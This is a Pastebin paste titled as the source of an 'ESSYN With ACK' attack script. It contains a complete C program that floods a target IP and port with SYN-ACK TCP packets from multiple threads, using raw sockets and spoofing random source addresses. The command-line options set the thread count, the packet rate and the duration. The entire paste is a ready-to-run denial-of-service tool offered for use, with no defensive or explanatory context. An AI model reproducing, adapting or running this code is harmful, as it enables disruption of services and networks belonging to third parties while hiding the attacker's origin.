KhaosBringer

ESSYN With ACK Attack Script Source

Apr 29th, 2015
1,434
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.20 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <pthread.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20. #define MAX_PACKET_SIZE 4096
  21. #define PHI 0x9e3779b9
  22. static unsigned long int Q[4096], c = 362436;
  23. static unsigned int floodport;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27. void init_rand(unsigned long int x)
  28. {
  29.     int i;
  30.     Q[0] = x;
  31.     Q[1] = x + PHI;
  32.     Q[2] = x + PHI + PHI;
  33.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  34. }
  35. unsigned long int rand_cmwc(void)
  36. {
  37.     unsigned long long int t, a = 18782LL;
  38.     static unsigned long int i = 4095;
  39.     unsigned long int x, r = 0xfffffffe;
  40.     i = (i + 1) & 4095;
  41.     t = a * Q[i] + c;
  42.     c = (t >> 32);
  43.     x = t + c;
  44.     if (x < c) {
  45.     x++;
  46.     c++;
  47.     }
  48.     return (Q[i] = r - x);
  49. }
  50. unsigned short csum (unsigned short *buf, int count)
  51. {
  52.     register unsigned long sum = 0;
  53.     while( count > 1 ) { sum += *buf++; count -= 2; }
  54.     if(count > 0) { sum += *(unsigned char *)buf; }
  55.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  56.     return (unsigned short)(~sum);
  57. }
  58. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  59.     struct tcp_pseudo
  60.     {
  61.     unsigned long src_addr;
  62.     unsigned long dst_addr;
  63.     unsigned char zero;
  64.     unsigned char proto;
  65.     unsigned short length;
  66.     } pseudohead;
  67.     unsigned short total_len = iph->tot_len;
  68.     pseudohead.src_addr=iph->saddr;
  69.     pseudohead.dst_addr=iph->daddr;
  70.     pseudohead.zero=0;
  71.     pseudohead.proto=IPPROTO_TCP;
  72.     pseudohead.length=htons(sizeof(struct tcphdr));
  73.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  74.     unsigned short *tcp = malloc(totaltcp_len);
  75.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  76.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  77.     unsigned short output = csum(tcp,totaltcp_len);
  78.     free(tcp);
  79.     return output;
  80. }
  81. void setup_ip_header(struct iphdr *iph)
  82. {
  83.     iph->ihl = 5;
  84.     iph->version = 4;
  85.     iph->tos = 0;
  86.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  87.     iph->id = htonl(54321);
  88.     iph->frag_off = 0;
  89.     iph->ttl = MAXTTL;
  90.     iph->protocol = 6;
  91.     iph->check = 0;
  92.     iph->saddr = inet_addr("192.168.3.100");
  93. }
  94.  
  95. void setup_tcp_header(struct tcphdr *tcph)
  96. {
  97.     tcph->source = htons(5678);
  98.     tcph->seq = rand();
  99.     tcph->ack_seq = rand();
  100.     tcph->res2 = 0;
  101.     tcph->doff = 5;
  102.     tcph->syn = 1;
  103.     tcph->ack = 1;
  104.     tcph->window = rand();
  105.     tcph->check = 0;
  106.     tcph->urg_ptr = 0;
  107. }
  108. void *flood(void *par1)
  109. {
  110.     char *td = (char *)par1;
  111.     char datagram[MAX_PACKET_SIZE];
  112.     struct iphdr *iph = (struct iphdr *)datagram;
  113.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  114.     struct sockaddr_in sin;
  115.     sin.sin_family = AF_INET;
  116.     sin.sin_port = htons(floodport);
  117.     sin.sin_addr.s_addr = inet_addr(td);
  118.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  119.     if(s < 0){
  120.     fprintf(stderr, "Could not open raw socket.\n");
  121.     exit(-1);
  122.     }
  123.     memset(datagram, 0, MAX_PACKET_SIZE);
  124.     setup_ip_header(iph);
  125.     setup_tcp_header(tcph);
  126.     tcph->dest = htons(floodport);
  127.     iph->daddr = sin.sin_addr.s_addr;
  128.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  129.     int tmp = 1;
  130.     const int *val = &tmp;
  131.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  132.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  133.         exit(-1);
  134.     }
  135.     init_rand(time(NULL));
  136.     register unsigned int i;
  137.     i = 0;
  138.     while(1){
  139.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  140.     iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  141.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  142.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  143.     tcph->seq = rand_cmwc() & 0xFFFF;
  144.     tcph->source = htons(rand_cmwc() & 0xFFFF);
  145.     tcph->check = 0;
  146.     tcph->check = tcpcsum(iph, tcph);  
  147.     pps++;
  148.     if(i >= limiter)
  149.     {
  150.     i = 0;
  151.     usleep(sleeptime);
  152.     }
  153.     i++;
  154.     }
  155. }
  156. int main(int argc, char *argv[ ])
  157. {
  158.     if(argc < 6){
  159.     fprintf(stderr, "Invalid parameters!\n");
  160.     fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  161.     exit(-1);
  162.     }
  163.     fprintf(stdout, "Setting up Sockets...\n");
  164.     int num_threads = atoi(argv[3]);
  165.     floodport = atoi(argv[2]);
  166.     int maxpps = atoi(argv[4]);
  167.     limiter = 0;
  168.     pps = 0;
  169.     pthread_t thread[num_threads];
  170.     int multiplier = 20;
  171.     int i;
  172.     for(i = 0;i<num_threads;i++){
  173.     pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  174.     }
  175.     fprintf(stdout, "Starting Flood...\n");
  176.     for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  177.     {
  178.         usleep((1000/multiplier)*1000);
  179.         if((pps*multiplier) > maxpps)
  180.         {
  181.             if(1 > limiter)
  182.             {
  183.                 sleeptime+=100;
  184.             } else {
  185.                 limiter--;
  186.             }
  187.         } else {
  188.             limiter++;
  189.             if(sleeptime > 25)
  190.             {
  191.                 sleeptime-=25;
  192.             } else {
  193.                 sleeptime = 0;
  194.             }
  195.         }
  196.         pps = 0;
  197.     }
  198.  
  199.     return 0;
  200. }
Add Comment
Please, Sign In to add comment